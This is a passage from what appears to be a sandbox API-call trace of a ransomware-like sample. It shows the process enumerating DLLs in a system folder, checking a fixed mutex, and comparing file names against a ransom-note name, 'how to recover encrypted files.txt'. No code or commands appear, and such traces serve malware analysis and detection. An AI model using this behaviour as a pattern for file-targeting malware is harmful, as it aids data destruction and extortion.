0x550170 [0056.971] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.971] GlobalUnlock (hMem=0x44000c) returned 0 [0056.971] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.971] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.971] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.971] GlobalUnlock (hMem=0x44000c) returned 0 [0056.971] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.971] GlobalUnlock (hMem=0x440004) returned 0 [0056.971] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.971] CharLowerBuffW (in: lpsz="msdaprst.dll", cchLength=0xc | out: lpsz="msdaprst.dll") returned 0xc [0056.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll", cchWideChar=55, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll", lpUsedDefaultChar=0x0) returned 55 [0056.972] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msdaprst.dll", lpUsedDefaultChar=0x0) returned 4 [0056.972] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0056.972] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.972] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.972] GlobalLock (hMem=0x440004) returned 0x550170 [0056.972] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.972] GlobalUnlock (hMem=0x440004) returned 0 [0056.972] GlobalLock (hMem=0x440004) returned 0x550170 [0056.972] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.972] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.972] GlobalUnlock (hMem=0x440004) returned 0 [0056.973] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.973] GlobalUnlock (hMem=0x44000c) returned 0 [0056.973] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.973] CharLowerBuffW (in: lpsz="msdarem.dll", cchLength=0xb | out: lpsz="msdarem.dll") returned 0xb [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll", cchWideChar=54, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dllc", lpUsedDefaultChar=0x0) returned 54 [0056.973] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msdarem.dllc", lpUsedDefaultChar=0x0) returned 4 [0056.974] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0056.974] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.974] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.974] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.974] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.974] GlobalUnlock (hMem=0x44000c) returned 0 [0056.974] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.974] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.974] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.974] GlobalUnlock (hMem=0x44000c) returned 0 [0056.974] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.974] GlobalUnlock (hMem=0x440004) returned 0 [0056.974] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.990] CharLowerBuffW (in: lpsz="msdaremr.dll", cchLength=0xc | out: lpsz="msdaremr.dll") returned 0xc [0056.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.991] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll", cchWideChar=55, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll", lpUsedDefaultChar=0x0) returned 55 [0056.991] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msdaremr.dll", lpUsedDefaultChar=0x0) returned 4 [0056.991] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.991] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.991] GlobalLock (hMem=0x440004) returned 0x550170 [0056.991] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.991] GlobalUnlock (hMem=0x440004) returned 0 [0056.991] GlobalLock (hMem=0x440004) returned 0x550170 [0056.991] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.991] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.991] GlobalUnlock (hMem=0x440004) returned 0 [0056.992] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.992] GlobalUnlock (hMem=0x44000c) returned 0 [0056.992] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.992] CharLowerBuffW (in: lpsz="msdfmap.dll", cchLength=0xb | out: lpsz="msdfmap.dll") returned 0xb [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.992] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.992] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msdfmap.dllc", lpUsedDefaultChar=0x0) returned 4 [0056.992] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.993] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.993] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.993] GlobalUnlock (hMem=0x44000c) returned 0 [0056.993] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.993] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.993] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.993] GlobalUnlock (hMem=0x44000c) returned 0 [0056.993] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.993] GlobalUnlock (hMem=0x440004) returned 0 [0056.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x431d9080, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x431d9080, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.993] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.993] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.993] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.993] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.993] GlobalUnlock (hMem=0x440004) returned 0 [0056.994] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.994] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.994] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.994] GlobalUnlock (hMem=0x440004) returned 0 [0056.994] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.994] GlobalUnlock (hMem=0x44000c) returned 0 [0056.994] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.994] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x431d9080, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x431d9080, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.994] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.994] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.994] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.994] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.994] GlobalUnlock (hMem=0x44000c) returned 0 [0056.994] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.994] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.994] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.994] GlobalUnlock (hMem=0x44000c) returned 0 [0056.994] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.994] GlobalUnlock (hMem=0x440004) returned 0 [0056.994] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.994] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0056.994] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.994] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.994] GlobalLock (hMem=0x440004) returned 0x550170 [0056.994] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.994] GlobalUnlock (hMem=0x440004) returned 0 [0056.994] GlobalLock (hMem=0x440004) returned 0x550170 [0056.994] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.994] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.994] GlobalUnlock (hMem=0x440004) returned 0 [0056.995] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.995] GlobalUnlock (hMem=0x44000c) returned 0 [0056.995] OpenMutexA 